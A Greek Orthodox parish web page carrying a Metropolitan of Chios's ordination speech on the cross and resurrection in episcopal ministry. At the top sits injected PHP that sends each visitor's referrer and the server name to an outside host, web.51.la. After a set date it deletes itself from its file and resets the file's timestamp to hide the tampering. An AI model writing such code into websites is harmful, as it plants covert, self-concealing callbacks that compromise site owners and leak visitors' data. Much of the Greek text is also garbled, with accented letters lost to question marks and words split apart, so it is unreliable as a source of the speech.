check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456732960){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/content.php"); } Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Create PDF Recommend Print

Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

? σταυρικός καί ?ναστάσιμος χαρακτήρας τ?ς ?ρχιερατικ?ς διακονίας

Χειροτονητήριος λόγος του Σεβ. Μητροπολίτου Χίου, Ψαρών & Οινουσών κ. Μάρκου

«Π?ς τό ?σθενές ?νισχύσω, καί τό πεπτωκός ?ναστήσω, καί τό πλανώμενον ?πιστρέψω, καί τό ?πολωλός ?κζητήσω, καί φυλάξω τό ?σχυρόν»;

Τό ?ργο, τό ?πο?ον ?τέλεσε ? Θεάνθρωπος ?ησο?ς Χριστός, χα ρα κτη ρί ζε ται ?ς ?πολύτρωση καί ?λευθέρωση το? ?νθρώπου ?πό τά δεινά πού τόν κατέχουν καί προ?λθαν ?πό τήν παρακοή καί τήν πτώση το? ?δάμ. Το?το ?τέλεσεν ? Κύριός μας ?ς α?ώνιος ?ρχιερεύς διά τ?ς καταλλαγ?ς το? ?νθρώπου μέ τόν Θεό. Τό ?ρχιερατικό ?ξίωμα το? Χριστο? μας περιλαμβάνει ?λα τά πολυειδ? παθήματα πού ?πέστη ? Κύριός μας μέ τήν ?νανθρώπησή Του ?πό τήν Βηθλεέμ μέ χρι τέλους, ?δίως δέ καί κατ' ?ξοχήν τόν σταυρικό θάνατο στόν Γολ γοθ? γιά τίς ?μαρτίες το? ?νθρωπίνου γένους. ? θυσία α?τή ε?ναι ?ξαρση τ?ς θείας μεγαλειότητος, λατρεία καί τιμή τ?ς δικαιοσύνης καί τ?ν ?λλων ?διοτήτων το? Θεο?, πηγή τ?ς θείας Χάριτος καί κάθε πνευματικο? ?γαθο?. ? Χριστός ε?ναι ? Μέγας ?ρχιερεύς κατά τήν ?νθρώπινη φύση Του, ? προσφέρων καί προσφερόμενος καί διαδιδόμενος, ?σπιλος θύτης καί ?σπιλον ?θελόθυτο θύμα.

Συνεπ?ς, ? μεγάλη τιμή καί ε?θύνη τ?ς ?ρχιερατικ?ς διακονίας ?ναφέρεται κατ' ?ρχάς στόν ?ξαγιασμό τ?ς ζω?ς ?πό τήν ?κ κλη σία. Διότι ?ν τό θεμελι?δες νόημα καί ? σκοπός τ?ν μυστηρίων, διά τ?ν ?ποίων «σημαίνεται» καί ?πάρχει ? ?κκλησία, ε?ναι ? ?ξα γι α σμός τ?ς ζω?ς ?κάστου ?νθρώπου, τότε τό μεγάλο καί ?τίμητο δ?ρο τ?ς ?ρχιερωσύνης συνιστ? τόν πιό πολύτιμο θησαυρό τ?ς ?κ κλη σίας γιά τή μεταμόρφωση καί σωτηρία το? κόσμου.

?πό τήν ?ποστολική ?ποχή καί ?ξ?ς ? ?νότητα τ?ς ?κκλησίας, ?κφραζομένη στό πρόσωπο το? ?πισκόπου, ?πέβλεπε στό γεγονός τ?ς σωτηρίας. Α?τό κηρύττεται καί ?μολογε?ται στό Ε?αγγέλιο το? Χριστο?, πού μεταλαμπαδεύεται διά το? Πνεύματος ?πό γενιά σέ γενιά, μέχρι σήμερα. Μιά σωτηρία, ?χι ? τυχο?σα, ?λλά ?ν Χριστ? ?ησο?, πού συντελε?ται κατ' ?ξοχήν διά τ?ν ?κκλησιαστικ?ν μυ στη ρίων καί σώζει ?ντολογικά τόν πιστό ?πό τήν ?μαρτία, ?πό τόν θά νατο καί ?πό τήν ?ποδούλωση σ' α?τό τόν κόσμο. Α?τή ? σωτηρία, πού βιώνεται ?πί ε?κοσι α??νες ?ντός τ?ς ?κκλησίας, δίνει νέο προ ο ρι σμό καί καινούργιο νόημα στή ζωή μας. ?μπειρικά ?φίσταται ?ς ?σωτερική μεταμόρφωση καί ?σχατολογικά κατανοε?ται ?ς ? ?σχα­τος προορισμός το? μετασχηματισμο? το? θνητο? σέ θεο? κατά χάρη.

Σέ α?τό λοιπόν τό μοναδικό καί ?νεπανάληπτο γεγονός ?νοί γε ται τό χάρισμα τ?ς ?ρχιερωσύνης, τό ?πο?ο μέ «μετά φόβου Θεο?» ?ναδεχόμαστε ?ς ταπεινοί διάκονοι ?πό τή μητέρα ?κκλησία. Συγ κλο νι στικό τό γεγονός, ?νείπωτη ? ε?λογία, φοβερή ? ?ποστολή. Συλλογίζομαι τήν ?ψηλή ε?θύνη καί βαθύτατη ο?σία τ?ς ?ρχιερατικ?ς διακονίας: δέν ε?ναι ? δύναμη, ο?τε ? ?ξουσία, ο?τε ? δόξα. ? ?ληθινή ?περοχικότητα τ?ς ?ρχιερωσύνης ε?ναι ? σταυρική ζωή το? ?πισκόπου. ?πως ?κριβ?ς ? ?ησο?ς Χριστός μέ τή σταυρική θυσία του λύτρωσε τό ?θρώπινο γένος, ?τσι ?φείλει κι ? ?πίσκοπος νά προσφερθε? μέ ?γάπη καί α?ταπάρνηση γιά τό ποίμνιό του καί τή δική του σωτηρία. Γι' α?τό ? ο?σία τ?ς ?ρχιερωσύνης, κατά τόν ?πό στολο Πα?λο, ε?ναι τό νά γίνει «τά πάντα το?ς π?σιν», δηλαδή κα τα στε? ? ?πίσκοπος τά πάντα στούς πάντες, ?πως ? Θεός (Α΄ Κορ. 15,28). Α?τό σημαίνει ?τι δέν ?χει τίποτα δικό του, ο?τε ζε? καμιά ?τομική ζωή, ?λλά στέκεται στό κέντρο τ?ς ?κκλησιαστικ?ς κοι νό τη τας καί τ?ς λατρευτικ?ς σύναξης, καί ?ς νεφέλη ο?ράνια ?πι σκιάζει προσευχητικά καί μεσιτευτικά πρός τόν Θεό Πατέρα τό ποίμνιό του.

? σταυρικός χαρακτήρας τ?ς ?ρχιερατικ?ς διακονίας ?κούγεται ?διαίτερα παράδοξα στή δική μας ?ποχή, πού ?χει θεοποιήσει τήν ?νεση καί τήν ε?μάρεια. ?κούγεται ?χι μόνο παράλογος, ?λλά καί ?συμβίβαστος μέ τή λογική το? κόσμου, ? ?πο?ος ?φ' ?νός μέν ?πι δι ώ­κει μέ κάθε τρόπο τό κυνήγι τ?ς ε?δαιμονίας καί τ?ς καλοπέρασης, ?φ' ?τέρου δέ λανθασμένα θεωρε? τούς ?ν ?περοχ? διακόνους τ?ν μυστηρίων το? Χριστο? ?ς λαχταρο?ντες τή διάκριση, τό χρ?μα, τήν προβολή, τή δόξα καί τήν ?πιβολή στούς ?λλους. ?γνοε? ? «κόσμος ο?τος», κατά τήν ?κφραση το? ε?αγγελιστο? ?ωάννου γιά τόν ?ν τί θεο κόσμο, ?τι ? πρωταρχικός, μοναδικός καί ?σόβιος σκοπός το? ?ξιωθέντα τ?ς ?ρχιερατικ?ς ?ξίας συνίσταται στήν ?νάληψη το? Ε?αγγελικο? ζυγο?, θυσιαζόμενος καί προσφερόμενος, μέ τήν ?πάρνηση το? ?αυτο? του καί μέ τό νά σηκώνει τόν σταυρό το? Χρι στο? (Μάρκ. 8,34).

?πό α?τό συνάγεται ?τι σταθερό καί διηνεκές πρότυπο το? ?πι σκό που ε?ναι ? διδασκαλία καί ? ζωή το? καλο?, το? μεγάλου καί το? ?ληθινο? ?ρχιποίμενος ?ησο? Χριστο?, ? ?πο?ος θυσίασε τή ζωή του γιά χάρη τ?ς ?νθρωπότητος. ?κε?νον μιμε?ται ? ?πίσκοπος ?στε νά καταστε? κι ? ?διος ?ερουργός το? Ε?αγγελίου, «?δηγός τυφλ?ν, φ?ς τ?ν ?ν σκότει, παιδευτής ?φρόνων, διδάσκαλος νηπίων, φωστήρ ?ν κόσμ?». Γι' α?τό ? α?ταπάρνηση καί ? ?ρση το? σταυρο? φανερώνουν τήν α?θεντικότητα τ?ς κλήσης του καί το? προορισμο? του. Καί γι' α?τό ?φείλει ?χι μόνο νά μήν παρασύρεται ?πό ?χηρά καί ε?κολα συνθήματα το? «κόσμου τούτου», τά ?πο?α γοητεύουν ?ρχικ?ς ?λλά τελικ?ς ?πογοητεύουν, ?λλά καί νά ?πα να φέ ρει πρός τό ε?αγγελικό φ?ς τούς πεπλανημένους καί στερημένους το? νοήματος τ?ς ζω?ς, τ?ς ?ντως ?ν Χριστ? ζω?ς. ?τσι, ? θνητός καί κτιστός ?νθρωπος ?ναδεικνύεται θε?ος λειτουργός καί πιστός ο?κονόμος τ?ς ?ναδεχθείσας ?ρχιερατικ?ς χάριτος.

Ο? ?ρχιερε?ς μετέχουν τ?ς ?ρχιερωσύνης το? Χριστο?, μετέχουν το? Σταυρο? καί τ?ς ?ναστάσεως, πού δέν ξεχωρίζονται. ? ?νθρωπος δέν μπορε? νά σταυρωθε?, ο?τε βεβαίως νά ?ναστηθε?, ?λλά μόνο νά μεθέξει το? Σταυρο? καί τ?ς ?ναστάσεως το? Χριστο?. Τό μυστήριο α?τό ε?ναι:

α) ? προαιώνιος ?γάπη το? Θεο?, β) ? πράξη (μετάνοια καί κά θαρση καρδίας) καί γ) ? θεωρία (γν?ση Θεο?). ?πομένως, χαρακτηριστικά γνωρίσματα το? ?ρθοδόξου ?ρχιερέως ε?ναι:

? ?γάπη,

? ?πάθεια (δέν ?πηρεάζεται στήν διαποίμανση ?πό πάθη, ?δίως τ?ς φιλαργυρίας, μνησικακίας κ.λπ.),

? θεωρία, δηλαδή θεολογία ?μπειρική ? βασιζόμενη στούς ?μπείρους πατέρες· κίνδυνος καί πειρασμός μεγάλος ε?ναι ? κένωση το? Σταυρο?, ?τοι (μεταξύ ?λλων) ? ?ντικατάσταση τ?ς ?μπειρικ?ς ?πλ?ς θεολογίας μέ ?νθρωπίνους στοχασμούς καί ? ?ντικατάσταση το? Ε?αγγελίου ?πό ?νθρώπινες - προσωπικές ?πιλογές. Α?τή ? κέ νωση, τό κατέβασμα ?πό τόν Σταυρό, συνεπάγεται τήν ?πώλεια τ?ς ?ναστάσεως καί τήν ?κπτωση ?πό τήν ?ρχιερωσύνη το? Χριστο?.

Στή ζωή τ?ς ?κκλησίας μας ξεχωρίζει ?ς πρότυπο ?ληθινο? ποι μέ νος ? ?γιος Γρηγόριος ? Θεολόγος, ? ?ρχιεπίσκοπος τ?ς ?λλοτε χριστιανικ?ς πρωτεύουσας τ?ς Βυζαντιν?ς Α?τοκρατορίας, τ?ς κλειν?ς Κωνσταντινουπόλεως, ? ?πο?ος γράφει τά συγκλονιστικά α?τά λόγια: «Πέστε μου π?ς θά ?νισχύσω τό ?δύναμο πρόβατο, π?ς θά σηκώσω τό πεσμένο, π?ς θά ?πιστρέψω τό πλανώμενο, π?ς θά ?να ζη τήσω τό χαμένο, π?ς θά διαφυλάξω τό ?σχυρό. Πέστε μου π?ς θά τά μάθω ?λα α?τά»; Μέσα στή ματαιότητα τ?ν ?νθρωπίνων πρα γμά των, καλε?ται ? ?πίσκοπος μέ τρόπους διαποτισμένους ?πό τό πνε?μα το? Θεο? νά ποιμάνει, νά καθοδηγήσει τούς πιστούς στό δρόμο τ?ς ?ρετ?ς, τ?ς προσευχ?ς καί τ?ς κατά Χριστόν τελείωσης. Πρόκειται γιά δρόμο σκληρό, ?πίπονο καί ?δυνηρό, πού ?μως τό τέρμα του ε?ναι λυτρωτικό.

Ε?ναι γνωστό ?τι ? πόνος το? Σταυρο? καί τ?ς σταυρικ?ς πορείας φωτίζεται πάντοτε ?πό τή χαρά τ?ς ?ναστάσεως. Γιατί ?νατιρρήτως ?νας σταυρός χωρίς ?νάσταση ?ποτελε? ?ποτυχία καί τραγωδία, ?ν? μιά ?νάσταση χωρίς σταυρό θά ε?ναι μιά νίκη χωρίς βαρύτητα καί ?ξία. ? ζωή το? Θεανθρώπου μας δεικνύει ? σταυρός καί ? ?νάσταση ε?ναι ?λληλένδετα ?χι μόνο στό μυστήριο τ?ς σωτηρίας μας, ?λλά καί στόν ?γώνα καί τή ζωή τ?ν ?κκλησιαστικ?ν ποιμένων. Γι' α?τό ? θεληματική ?ρση το? σταυρο? ?ποτελε? ο?σιαστικ?ς πηγή δυνάμεως, πού μεταμορφώνει τίς δυσκολίες καί τά προβλήματα τ?ς ζω?ς. Α?τό σημαίνει ?τι μέσα ?πό τήν πάλη καί τήν ?γωνία τ?ς ζω?ς, ?στω καί ?ν δέν νικ?με πάντοτε, τουλάχιστον ?ριμάζουμε πνευματικά, ?στε νά ?ντέχουμε τούς πειρασμούς καί νά προ χω ρο?με.

?μπιστευόμαστε, λοιπόν, ?νεπιφύλακτα τήν ?λήθεια πού ? Θεός μ?ς ?ποκάλυψε. ?παρνούμαστε τόν ?αυτό μας. ?πελευθερωνόμαστε ?πό τόν ?σφυκτικό κλοιό το? ?γώ. ?πελευθερώνομαι ?πό τόν παραλογισμό πού μ?ς ?θε? νά ?περτονίζουμε καί νά ?ψώνουμε τόν ?αυτό μας σέ ε?δωλο, γύρω ?πό τό ?πο?ο ζητ?με νά στρέφεται ? ζωή ? δικιά μας καί τ?ν γύρω μας. «? Χριστός ?ν τ? μέσ? ?μ?ν» Α?τός ε?ναι ? ?ναστάσιμος χα ρα κτή ρας τ?ς ?ρχιερατικ?ς διακονίας. ?ποφυγή ?πό μιά α? το καταστροφική πορεία, πού ?ναφέρεται ?ποκλειστικά στόν ?αυτό μας καί μέ τήν ?κανοποίηση τ?ν δικ?ν μας ?πιθυμι?ν. Τό νά μπορο?με νά α? σθαν θο?με τίς ?νάγκες τ?ν ?δελφ?ν συνανθρώπων μας ?πο τε λε? γεγονός ?ναστάσιμο, ?φο? συνιστ? ?κφραση το? ?γώνα καί τ?ς νίκης, τ?ς θυσίας καί τ?ς δόξας, τ?ς ζω?ς καί τ?ς σωτηρίας ?πέρ το? κόσμου. Ζώντας τήν ?ντως ζωή το? ?ναστάστος Χριστο? καί τό χάρισμα τ?ς ?ρχιερωσύνης μετέχει στό θα?μα τ?ς ?γάπης το? Θεο?, ?που ? περιπετειώδης πορεία το? ?νθρώπου δέν μένει στήν τρα γω δία καί ?πόγνωση τ?ς πολύμορφης ?μαρτίας.

?τσι, ? σταυρικός καί ?ναστάσιμος χαρακτήρας τ?ς ?ρχιερατικ?ς διακονίας φθάνει στό ?ποκορύφωμα ?ταν διακονο?με μέ ?γάπη, μέ τιμιότητα καί μέ ταπεί νωση, μέ κόπο καί μέ θυσία, τούς ?δελφούς το? ?μπιστευθέντος ποιμνίου μας, καθώς τότε ?πι βε βαι ώ νουμε ?τι ?κολουθο?με τόν Χριστό καί θεραπεύουμε ?,τι πονάει τόν ?νθρωπο. Συνεπ?ς, κάθε φορά πού διακονο?με καί ?πηρετο?με τούς συνανθρώπους μας, μ?ς διαπερν? ? χάρις το? Θεο? καί ζο?με τήν παρουσία το? ?ναστημένου μας Χριστο?. Καί ? ο?κονόμος τ?ς ?ρχιερατικ?ς χάριτος καθίσταται ? ζ?σα μαρτυρία γιά τούς γύρω του ?τι ? ?ναστημένος Κύριος ε?ναι μεθ' ?μ?ν, ?νάμεσά μας, καί παίρνουμε ζωή ?πό τή δική Του ζωή, φωτιζόμαστε ?πό τό φ?ς Του καί κοινωνο?με τ?ς βασιλείας Του, βασιλείας φωτός καί ?τελείωτης ζω?ς.

«Δε?τε λάβετε Φ?ς, ?κ το? ?νεσπέρου Φωτός καί δοξάσατε Χριστόν τόν ?ναστάντα ?κ νεκρ?ν»

 

 

{imageshow sl=4 sc=1 /}

 

 

Πηγή: συν - οδοιπορία

 

Παντρεύεστε;

apokatastash steghs

Βαπτίζετε το παιδί σας;

Γίνεσται ανάδοχος;